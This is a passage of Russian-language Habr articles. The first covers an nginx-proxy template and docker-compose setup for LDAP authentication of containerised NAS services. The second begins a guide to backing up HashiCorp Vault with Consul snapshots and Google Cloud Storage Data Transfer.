server {{ .Network.IP }} down;
{{ else }}
server 127.0.0.1 down;
{{ end }}
{{ end }}
{{ end }}
# If we receive X-Forwarded-Proto, pass it through; otherwise, pass along the
# scheme used to connect to this server
map $http_x_forwarded_proto $proxy_x_forwarded_proto {
default $http_x_forwarded_proto;
'' $scheme;
}
# If we receive X-Forwarded-Port, pass it through; otherwise, pass along the
# server port the client connected to
map $http_x_forwarded_port $proxy_x_forwarded_port {
default $http_x_forwarded_port;
'' $server_port;
}
# If we receive Upgrade, set Connection to "upgrade"; otherwise, delete any
# Connection header that may have been passed to this server
map $http_upgrade $proxy_connection {
default upgrade;
'' close;
}
# Apply fix for very long server names
server_names_hash_bucket_size 128;
# Default dhparam
{{ if (exists "/etc/nginx/certs/dhparam.pem") }}
ssl_dhparam /etc/nginx/certs/dhparam.pem;
{{ end }}
# Set appropriate X-Forwarded-Ssl header
map $scheme $proxy_x_forwarded_ssl {
default off;
https on;
}
gzip_types text/plain text/css application/javascript application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript;
log_format vhost '$host $remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent"';
access_log off;
{{ if $.Env.RESOLVERS }}
resolver {{ $.Env.RESOLVERS }};
{{ end }}
{{ if (exists "/etc/nginx/proxy.conf") }}
include /etc/nginx/proxy.conf;
{{ else }}
# HTTP 1.1 support
proxy_http_version 1.1;
proxy_buffering off;
proxy_set_header Host $http_host;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $proxy_connection;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $proxy_x_forwarded_proto;
proxy_set_header X-Forwarded-Ssl $proxy_x_forwarded_ssl;
proxy_set_header X-Forwarded-Port $proxy_x_forwarded_port;
# Allow iframing.
proxy_hide_header X-Frame-Options;
# Mitigate httpoxy attack (see README for details)
proxy_set_header Proxy "";
{{ end }}
### LDAP
proxy_cache_path cache/ keys_zone=auth_cache:10m;
upstream ldap-backend {
server {{ $.Env.LDAP_BACKEND }}:{{ or $.Env.LDAP_LOGIN_PORT "9000" }};
}
###
{{ $enable_ipv6 := eq (or ($.Env.ENABLE_IPV6) "") "true" }}
server {
server_name _; # This is just an invalid value which will never trigger on a real hostname.
listen 80;
{{ if $enable_ipv6 }}
listen [::]:80;
{{ end }}
access_log /var/log/nginx/access.log vhost;
return 503;
}
{{ if (and (exists "/etc/nginx/certs/default.crt") (exists "/etc/nginx/certs/default.key")) }}
server {
server_name _; # This is just an invalid value which will never trigger on a real hostname.
listen 443 ssl http2;
{{ if $enable_ipv6 }}
listen [::]:443 ssl http2;
{{ end }}
access_log /var/log/nginx/access.log vhost;
return 503;
ssl_session_tickets off;
ssl_certificate /etc/nginx/certs/default.crt;
ssl_certificate_key /etc/nginx/certs/default.key;
}
{{ end }}
{{ range $host, $containers := groupByMulti $ "Env.VIRTUAL_HOST" "," }}
{{ $host := trim $host }}
{{ $is_regexp := hasPrefix "~" $host }}
{{ $upstream_name := when $is_regexp (sha1 $host) $host }}
# {{ $host }}
upstream {{ $upstream_name }} {
{{ range $container := $containers }}
{{ $addrLen := len $container.Addresses }}
{{ range $knownNetwork := $CurrentContainer.Networks }}
{{ range $containerNetwork := $container.Networks }}
{{ if (and (ne $containerNetwork.Name "ingress") (or (eq $knownNetwork.Name $containerNetwork.Name) (eq $knownNetwork.Name "host"))) }}
## Can be connected with "{{ $containerNetwork.Name }}" network
{{/* If only 1 port exposed, use that */}}
{{ if eq $addrLen 1 }}
{{ $address := index $container.Addresses 0 }}
{{ template "upstream" (dict "Container" $container "Address" $address "Network" $containerNetwork) }}
{{/* If more than one port exposed, use the one matching VIRTUAL_PORT env var, falling back to standard web port 80 */}}
{{ else }}
{{ $port := coalesce $container.Env.VIRTUAL_PORT "80" }}
{{ $address := where $container.Addresses "Port" $port | first }}
{{ template "upstream" (dict "Container" $container "Address" $address "Network" $containerNetwork) }}
{{ end }}
{{ else }}
# Cannot connect to network of this container
server 127.0.0.1 down;
{{ end }}
{{ end }}
{{ end }}
{{ end }}
}
{{ $default_host := or ($.Env.DEFAULT_HOST) "" }}
{{ $default_server := index (dict $host "" $default_host "default_server") $host }}
{{/* Get the VIRTUAL_PROTO defined by containers w/ the same vhost, falling back to "http" */}}
{{ $proto := trim (or (first (groupByKeys $containers "Env.VIRTUAL_PROTO")) "http") }}
{{/* Get the NETWORK_ACCESS defined by containers w/ the same vhost, falling back to "external" */}}
{{ $network_tag := or (first (groupByKeys $containers "Env.NETWORK_ACCESS")) "external" }}
{{/* Get the HTTPS_METHOD defined by containers w/ the same vhost, falling back to "redirect" */}}
{{ $https_method := or (first (groupByKeys $containers "Env.HTTPS_METHOD")) "redirect" }}
{{/* Get the SSL_POLICY defined by containers w/ the same vhost, falling back to "Mozilla-Intermediate" */}}
{{ $ssl_policy := or (first (groupByKeys $containers "Env.SSL_POLICY")) "Mozilla-Intermediate" }}
{{/* Get the HSTS defined by containers w/ the same vhost, falling back to "max-age=31536000" */}}
{{ $hsts := or (first (groupByKeys $containers "Env.HSTS")) "max-age=31536000" }}
{{/* Get the VIRTUAL_ROOT By containers w/ use fastcgi root */}}
{{ $vhost_root := or (first (groupByKeys $containers "Env.VIRTUAL_ROOT")) "/var/www/public" }}
{{/* Nginx LDAP authentication enabled */}}
{{ $ext_ldap_auth := parseBool (or (first (groupByKeys $containers "Env.LDAP_EXT_AUTH")) "false") }}
{{/* User need to be participated in these groups to use service */}}
{{ $ldap_add_groups := or (first (groupByKeys $containers "Env.LDAP_EXT_ADD_GROUPS")) "" }}
{{/* Use HTML login page or HTTP Basic authentication */}}
{{ $ldap_use_login_page := parseBool (or $.Env.LDAP_USE_LOGIN_PAGE "false" ) }}
{{/* Get the first cert name defined by containers w/ the same vhost */}}
{{ $certName := (first (groupByKeys $containers "Env.CERT_NAME")) }}
{{/* Get the best matching cert by name for the vhost. */}}
{{ $vhostCert := (closest (dir "/etc/nginx/certs") (printf "%s.crt" $host))}}
{{/* vhostCert is actually a filename so remove any suffixes since they are added later */}}
{{ $vhostCert := trimSuffix ".crt" $vhostCert }}
{{ $vhostCert := trimSuffix ".key" $vhostCert }}
{{/* Use the cert specified on the container or fallback to the best vhost match */}}
{{ $cert := (coalesce $certName $vhostCert) }}
{{ $is_https := (and (ne $https_method "nohttps") (ne $cert "") (or (and (exists (printf "/etc/nginx/certs/letsencrypt/live/%s/fullchain.pem" $cert)) (exists (printf "/etc/nginx/certs/letsencrypt/live/%s/privkey.pem" $cert))) (and (exists (printf "/etc/nginx/certs/%s.crt" $cert)) (exists (printf "/etc/nginx/certs/%s.key" $cert)))) ) }}
{{ if $is_https }}
{{ if eq $https_method "redirect" }}
server {
server_name {{ $host }};
listen 80 {{ $default_server }};
{{ if $enable_ipv6 }}
listen [::]:80 {{ $default_server }};
{{ end }}
access_log /var/log/nginx/access.log vhost;
return 301 https://$host$request_uri;
}
{{ end }}
server {
server_name {{ $host }};
listen 443 ssl http2 {{ $default_server }};
{{ if $enable_ipv6 }}
listen [::]:443 ssl http2 {{ $default_server }};
{{ end }}
access_log /var/log/nginx/access.log vhost;
{{ if eq $network_tag "internal" }}
# Only allow traffic from internal clients
include /etc/nginx/network_internal.conf;
{{ end }}
{{ if eq $ssl_policy "Mozilla-Modern" }}
ssl_protocols TLSv1.2;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256';
{{ else if eq $ssl_policy "Mozilla-Intermediate" }}
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers 'ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:!DSS';
{{ else if eq $ssl_policy "Mozilla-Old" }}
ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers 'ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-RSA-DES-CBC3-SHA:ECDHE-ECDSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:DES-CBC3-SHA:HIGH:SEED:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!RSAPSK:!aDH:!aECDH:!EDH-DSS-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA:!SRP';
{{ else if eq $ssl_policy "AWS-TLS-1-2-2017-01" }}
ssl_protocols TLSv1.2;
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:AES128-GCM-SHA256:AES128-SHA256:AES256-GCM-SHA384:AES256-SHA256';
{{ else if eq $ssl_policy "AWS-TLS-1-1-2017-01" }}
ssl_protocols TLSv1.1 TLSv1.2;
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:AES128-GCM-SHA256:AES128-SHA256:AES128-SHA:AES256-GCM-SHA384:AES256-SHA256:AES256-SHA';
{{ else if eq $ssl_policy "AWS-2016-08" }}
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:AES128-GCM-SHA256:AES128-SHA256:AES128-SHA:AES256-GCM-SHA384:AES256-SHA256:AES256-SHA';
{{ else if eq $ssl_policy "AWS-2015-05" }}
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:AES128-GCM-SHA256:AES128-SHA256:AES128-SHA:AES256-GCM-SHA384:AES256-SHA256:AES256-SHA:DES-CBC3-SHA';
{{ else if eq $ssl_policy "AWS-2015-03" }}
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:AES128-GCM-SHA256:AES128-SHA256:AES128-SHA:AES256-GCM-SHA384:AES256-SHA256:AES256-SHA:DHE-DSS-AES128-SHA:DES-CBC3-SHA';
{{ else if eq $ssl_policy "AWS-2015-02" }}
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:AES128-GCM-SHA256:AES128-SHA256:AES128-SHA:AES256-GCM-SHA384:AES256-SHA256:AES256-SHA:DHE-DSS-AES128-SHA';
{{ end }}
ssl_prefer_server_ciphers on;
ssl_session_timeout 5m;
ssl_session_cache shared:SSL:50m;
ssl_session_tickets off;
{{ if (and (exists (printf "/etc/nginx/certs/letsencrypt/live/%s/fullchain.pem" $cert)) (exists (printf "/etc/nginx/certs/letsencrypt/live/%s/privkey.pem" $cert))) }}
ssl_certificate /etc/nginx/certs/letsencrypt/live/{{ (printf "%s/fullchain.pem" $cert) }};
ssl_certificate_key /etc/nginx/certs/letsencrypt/live/{{ (printf "%s/privkey.pem" $cert) }};
{{ else if (and (exists (printf "/etc/nginx/certs/%s.crt" $cert)) (exists (printf "/etc/nginx/certs/%s.key" $cert))) }}
ssl_certificate /etc/nginx/certs/{{ (printf "%s.crt" $cert) }};
ssl_certificate_key /etc/nginx/certs/{{ (printf "%s.key" $cert) }};
{{ end }}
{{ if (exists (printf "/etc/nginx/certs/%s.dhparam.pem" $cert)) }}
ssl_dhparam {{ printf "/etc/nginx/certs/%s.dhparam.pem" $cert }};
{{ end }}
{{ if (exists (printf "/etc/nginx/certs/%s.chain.pem" $cert)) }}
ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate {{ printf "/etc/nginx/certs/%s.chain.pem" $cert }};
{{ end }}
{{ if (and (ne $https_method "noredirect") (ne $hsts "off")) }}
add_header Strict-Transport-Security "{{ trim $hsts }}" always;
{{ end }}
{{ if (exists (printf "/etc/nginx/vhost.d/%s" $host)) }}
include {{ printf "/etc/nginx/vhost.d/%s" $host }};
{{ else if (exists "/etc/nginx/vhost.d/default") }}
include /etc/nginx/vhost.d/default;
{{ end }}
{{ if ($ext_ldap_auth) }}
### LDAP
{{ if ($ldap_use_login_page) }}
location /login-ldap {
proxy_pass http://{{ $.Env.LDAP_BACKEND }}:{{ or $.Env.LDAP_LOGIN_PORT "9000" }};
# Login service returns a redirect to the original URI
# and sets the cookie for the ldap-auth daemon
proxy_set_header X-Target $request_uri;
proxy_pass_request_body off;
proxy_set_header Content-Length "";
proxy_cache auth_cache;
proxy_cache_valid 200 10m;
proxy_cache_key "$http_authorization$cookie_nginxauth";
proxy_set_header X-CookieName "nginxauth";
proxy_set_header Cookie nginxauth=$cookie_nginxauth;
}
{{ end }}
location = /auth-proxy {
internal;
# The ldap-auth daemon listens on port $LDAP_BACKEND_PORT (8888, by default), as set
# in nginx-ldap-auth-daemon.py.
# Change the IP address if the daemon is not running on
# the same host as NGINX/NGINX Plus.
proxy_pass http://{{ $.Env.LDAP_BACKEND }}:{{ or $.Env.LDAP_BACKEND_PORT "8888" }};
proxy_pass_request_body off;
proxy_set_header Content-Length "";
proxy_cache auth_cache;
proxy_cache_valid 200 10m;
# The following directive adds the cookie to the cache key
proxy_cache_key "$http_authorization$cookie_nginxauth";
# As implemented in nginx-ldap-auth-daemon.py, the ldap-auth daemon
# communicates with a LDAP server, passing in the following
# parameters to specify which user account to authenticate. To
# eliminate the need to modify the Python code, this file contains
# 'proxy_set_header' directives that set the values of the
# parameters. Set or change them as instructed in the comments.
#
# Parameter Proxy header
# ----------- ----------------
# url X-Ldap-URL
# starttls X-Ldap-Starttls
# basedn X-Ldap-BaseDN
# binddn X-Ldap-BindDN
# bindpasswd X-Ldap-BindPass
# cookiename X-CookieName
# realm X-Ldap-Realm
# template X-Ldap-Template
# (Required) Set the URL and port for connecting to the LDAP server,
# by replacing 'example.com'.
# Do not mix ldaps-style URL and X-Ldap-Starttls as it will not work.
proxy_set_header X-Ldap-URL "{{ $.Env.LDAP_HOST }}";
# (Optional) Establish a TLS-enabled LDAP session after binding to the
# LDAP server.
# This is the 'proper' way to establish encrypted TLS connections, see
# http://www.openldap.org/faq/data/cache/185.html
{{ if eq ("$.Env.LDAP_METHOD") "start_tls" }}
proxy_set_header X-Ldap-Starttls "true";
{{ end }}
# (Required) Set the Base DN, by replacing the value enclosed in
# double quotes.
proxy_set_header X-Ldap-BaseDN "{{ $.Env.LDAP_BASE }}";
# (Required) Set the Bind DN, by replacing the value enclosed in
# double quotes.
proxy_set_header X-Ldap-BindDN "{{ $.Env.LDAP_BIND_DN }}";
# (Required) Set the Bind password, by replacing 'secret'.
proxy_set_header X-Ldap-BindPass "{{ $.Env.LDAP_PASS }}";
# (Required) The following directives set the cookie name and pass
# it, respectively. They are required for cookie-based
# authentication. Comment them out if using HTTP basic
# authentication.
proxy_set_header X-CookieName "nginxauth";
proxy_set_header Cookie nginxauth=$cookie_nginxauth;
# (Required if using Microsoft Active Directory as the LDAP server)
# Set the LDAP template by uncommenting the following directive.
#proxy_set_header X-Ldap-Template "(sAMAccountName=%(username)s)";
# (May be required if using Microsoft Active Directory and
# getting "In order to perform this operation a successful bind
# must be completed on the connection." errror)
#proxy_set_header X-Ldap-DisableReferrals "true";
# (Optional if using OpenLDAP as the LDAP server) Set the LDAP
# template by uncommenting the following directive and replacing
# '(cn=%(username)s)' which is the default set in
# nginx-ldap-auth-daemon.py.
{{ $ldap_filter := $.Env.LDAP_USER_FILTER }}
{{ $ldap_filter := (printf "(&%s%s)" $ldap_filter $ldap_add_groups) }}
proxy_set_header X-Ldap-Template "{{ $ldap_filter }}";
# (Optional) Set the realm name, by uncommenting the following
# directive and replacing 'Restricted' which is the default set
# in nginx-ldap-auth-daemon.py.
#proxy_set_header X-Ldap-Realm "Restricted";
}
### /LDAP
{{ end }}
location / {
{{ if ($ext_ldap_auth) }}
auth_request /auth-proxy;
{{ if ($ldap_use_login_page) }}
# redirect 401 to login form
# Comment them out if using HTTP basic authentication.
# or authentication popup won't show
error_page 401 =200 /login-ldap;
{{ end }}
{{ end }}
{{ if eq $proto "uwsgi" }}
include uwsgi_params;
uwsgi_pass {{ trim $proto }}://{{ trim $upstream_name }};
{{ else if eq $proto "fastcgi" }}
root {{ trim $vhost_root }};
include fastcgi.conf;
fastcgi_pass {{ trim $upstream_name }};
{{ else }}
proxy_pass {{ trim $proto }}://{{ trim $upstream_name }};
{{ end }}
{{ if (exists (printf "/etc/nginx/htpasswd/%s" $host)) }}
auth_basic "Restricted {{ $host }}";
auth_basic_user_file {{ (printf "/etc/nginx/htpasswd/%s" $host) }};
{{ end }}
{{ if (exists (printf "/etc/nginx/vhost.d/%s_location" $host)) }}
include {{ printf "/etc/nginx/vhost.d/%s_location" $host}};
{{ else if (exists "/etc/nginx/vhost.d/default_location") }}
include /etc/nginx/vhost.d/default_location;
{{ end }}
}
}
{{ end }}
{{ if or (not $is_https) (eq $https_method "noredirect") }}
server {
server_name {{ $host }};
listen 80 {{ $default_server }};
{{ if $enable_ipv6 }}
listen [::]:80 {{ $default_server }};
{{ end }}
access_log /var/log/nginx/access.log vhost;
{{ if eq $network_tag "internal" }}
# Only allow traffic from internal clients
include /etc/nginx/network_internal.conf;
{{ end }}
{{ if (exists (printf "/etc/nginx/vhost.d/%s" $host)) }}
include {{ printf "/etc/nginx/vhost.d/%s" $host }};
{{ else if (exists "/etc/nginx/vhost.d/default") }}
include /etc/nginx/vhost.d/default;
{{ end }}
location / {
{{ if eq $proto "uwsgi" }}
include uwsgi_params;
uwsgi_pass {{ trim $proto }}://{{ trim $upstream_name }};
{{ else if eq $proto "fastcgi" }}
root {{ trim $vhost_root }};
include fastcgi.conf;
fastcgi_pass {{ trim $upstream_name }};
{{ else }}
proxy_pass {{ trim $proto }}://{{ trim $upstream_name }};
{{ end }}
{{ if (exists (printf "/etc/nginx/htpasswd/%s" $host)) }}
auth_basic "Restricted {{ $host }}";
auth_basic_user_file {{ (printf "/etc/nginx/htpasswd/%s" $host) }};
{{ end }}
{{ if (exists (printf "/etc/nginx/vhost.d/%s_location" $host)) }}
include {{ printf "/etc/nginx/vhost.d/%s_location" $host}};
{{ else if (exists "/etc/nginx/vhost.d/default_location") }}
include /etc/nginx/vhost.d/default_location;
{{ end }}
}
}
{{ if (and (not $is_https) (exists "/etc/nginx/certs/default.crt") (exists "/etc/nginx/certs/default.key")) }}
server {
server_name {{ $host }};
listen 443 ssl http2 {{ $default_server }};
{{ if $enable_ipv6 }}
listen [::]:443 ssl http2 {{ $default_server }};
{{ end }}
access_log /var/log/nginx/access.log vhost;
return 500;
ssl_certificate /etc/nginx/certs/default.crt;
ssl_certificate_key /etc/nginx/certs/default.key;
}
{{ end }}
{{ end }}
{{ end }}
```
### Модификация конфигурации docker-compose
В `docker-compose.yml` были добавлены:
* Новый сервис "ldap-auth", который отвечает за авторизацию.
* Блок переменных, настраивающих взаимодействия с LDAP сервером.
То что записано в переменных, nginx передаст сервису аутентификации через HTTP заголовки.
Назначение параметров ясно из названий переменных, так что останавливаться я на них не буду.
Полный конфиг смотрите ниже.
**docker-compose.yml**
```
version: '2'
networks:
internal:
docker0:
external:
name: docker0
services:
ldap-auth:
image: linuxserver/ldap-auth:latest
container_name: ldap-auth
networks:
- internal
- docker0
environment:
- TZ=Europe/Moscow
expose:
- 8888
- 9000
restart: unless-stopped
nginx-proxy:
depends_on:
- ldap-auth
networks:
- internal
- docker0
restart: always
image: jwilder/nginx-proxy
ports:
- "80:80"
- "443:443"
volumes:
- ./certs:/etc/nginx/certs:ro
- ./vhost.d:/etc/nginx/vhost.d
- ./html:/usr/share/nginx/html
- /var/run/docker.sock:/tmp/docker.sock:ro
- ./local-config:/etc/nginx/conf.d
- ./nginx.tmpl:/app/nginx.tmpl
environment:
- DEFAULT_HOST=nas.nas
- LDAP_BACKEND=ldap-auth
#- LDAP_BACKEND_PORT=8888
#- LDAP_LOGIN_PORT=9000
- LDAP_HOST=ldap://172.21.0.1:389
#- LDAP_METHOD=start_tls
- LDAP_METHOD=plain
- LDAP_UID=uid
- LDAP_PASS=LDAP_PASSWORD
- LDAP_BASE=ou=users,dc=nas,dc=nas
- LDAP_BIND_DN=cn=readonly,dc=nas,dc=nas
- LDAP_USER_FILTER=(uid=%(username)s)
#- LDAP_USE_LOGIN_PAGE=true
labels:
- "com.github.jrcs.letsencrypt_nginx_proxy_companion.nginx_proxy=true"
letsencrypt-dns:
image: adferrand/letsencrypt-dns
restart: always
volumes:
- ./certs/letsencrypt:/etc/letsencrypt
environment:
- "LETSENCRYPT_USER_MAIL=MAIL@MAIL.COM"
- "LEXICON_PROVIDER=cloudns"
- "LEXICON_OPTIONS=--delegated NAS.cloudns.cc"
- "LEXICON_PROVIDER_OPTIONS=--auth-id=CLOUDNS_ID --auth-password=CLOUDNS_PASSWORD"
```
Использование сервисом
----------------------
Сквозная аутентификация по умолчанию выключена.
Для её включения достаточно установить в окружении нужного контейнера переменные:
* `LDAP_EXT_AUTH=true` — включение аутентификации.
* `LDAP_EXT_ADD_GROUPS=(memberOf=cn=users_cloud,ou=groups,dc=nas,dc=nas)` — необязательный фильтр, список групп, в которые обязательно должен входить пользователь, чтобы быть аутентифицированным. Таким образом обеспечивается поддержка авторизации.
```
environment:
- LDAP_EXT_AUTH=true
- LDAP_EXT_ADD_GROUPS=(memberOf=cn=users_cloud,ou=groups,dc=nas,dc=nas)
```
Заключение
----------
В целом, решение уже длительное время работает и обеспечивает не только аутентификацию, но и авторизацию.
Что позволяет использовать в NAS любые сервисы в контейнерах, независимо от того поддерживают ли они аутентификацию через LDAP.
Хотя имеются некоторые проблемы:
* Безопаснее и удобнее для пользователя производить аутентификации через HTML страницу, включив переменную `ldap_use_login_page`. Но этот вариант у меня не заработал. Будет время — разберусь.
* Неудобно задавать список групп. Я вынужден был делать LDAP фильтр, а не список, поскольку ограничения docker-gen не позволяют мне сформировать нужную строку.
* Сервисы независимы, каждый сервис является отдельным поддоменом. И приходится вводить логин и пароль каждый раз, когда производится доступ на сервис, в котором ещё не была произведена аутентификация, что раздражает. В будущем возможно сделаю единый центр аутентификации.
Конфигурацию NAS вы можете найти в [репозитории](https://github.com/artiomn/NAS). | https://habr.com/ru/post/456894/ | null | ru | null |
# Бэкапы для HashiCorp Vault с разными бэкендами
Недавно мы [публиковали статью](https://habr.com/ru/company/flant/blog/540836/) про производительность Vault с разными бэкендами, а сегодня расскажем, как делать бэкапы — и снова на разных бэкендах: Consul, GCS (Google Cloud Storage), PostgreSQL и Raft.
Как известно, HashiCorp предоставляет нативный метод бэкапа только для одного бэкенда — Integrated Storage (Raft Cluster), [представленного](https://www.hashicorp.com/blog/vault-integrated-storage-ga) как GA в апреле прошлого года. В нем можно снять снапшот всего одним curl’ом и не беспокоиться о каких-либо нюансах. *(Подробности смотрите в* [*tutorial*](https://learn.hashicorp.com/tutorials/vault/raft-storage) *и* [*документации по API*](https://www.vaultproject.io/api/system/storage/raft#take-a-snapshot-of-the-raft-cluster)*.)*
В остальных же случаях придется выкручиваться самим, придумывая, как правильно реализовывать бэкап. Очевидно, что во время резервного копирования Vault часть данных может меняться, из-за чего мы рискуем получить некорректные данные. Поэтому важно искать пути для консистентного бэкапа.
1. Consul
---------
В Consul существует встроенный механизм для создания и восстановления снапшотов. Он поддерживает point-in-time backup, поэтому за консистентность данных можно не переживать. Однако есть существенный недостаток: на время снапшота происходит блокировка, из-за чего могут возникнуть проблемы с операциями на запись.
Для создания такого снимка необходимо:
1. Подключиться к инстансу с Consul и выполнить команду:
```
# consul snapshot save backup.snap
Saved and verified snapshot to index 199605
#
```
2. Забрать файл `backup.snap` (заархивировать и перенести в место для хранения бэкапов).
Для восстановления будет схожий алгоритм действий с выполнением другой команды на сервере с Consul:
```
# consul snapshot restore backup.snap
```
В HA Vault-кластере активный узел будет являться лидером во время экспорта данных или моментального снимка. После восстановления данных Vault в Consul необходимо **вручную** снять эту блокировку, чтобы кластер Vault мог выбрать нового лидера.
Выполните команду после восстановления данных для снятия блокировки:
```
# consul kv delete vault/core/lock
```
Работа со снапшотами обычно происходит быстро (см. примеры в конце статьи) и обычно не вызывает трудностей.
2. Google Cloud Storage
-----------------------
С GCS всё оказалось сложнее: подходящих вариантов для создания снапшотов/бэкапов бакета найти не удалось. Предусмотрена поддержка версионирования, но с ним восстановить сразу весь бакет на определенный момент времени нельзя — можно только по одному файлу. В теории это решается скриптом для взаимодействия со всеми файлами, но если учесть размер Vault’а и количества файлов в нем, скорее всего такой скрипт будет работать слишком долго. Если мы хотим получить консистентные данные, то снятия дампа придется на время останавливать Vault.
А для копирования данных в GCS предусмотрен удобный способ — Data Transfer. С его помощью можно создать полную копию бакета, а дальше уже работать с ним по своему усмотрению.
Последовательность действий:
1. Выключаем Vault.
2. Заходим в Data Transfer (<https://console.cloud.google.com/transfer/cloud>).
3. Выбираем исходный бакет, вводим название бакета, куда переносить данные, и выбираем разовую операцию. Здесь возможно установить и операцию по расписанию, но она не учитывает специфики Vault (тот факт, что сервис необходимо остановить Vault на время её выполнения), поэтому оставляем разовый запуск.
4. После успешного копирования запускаем Vault.
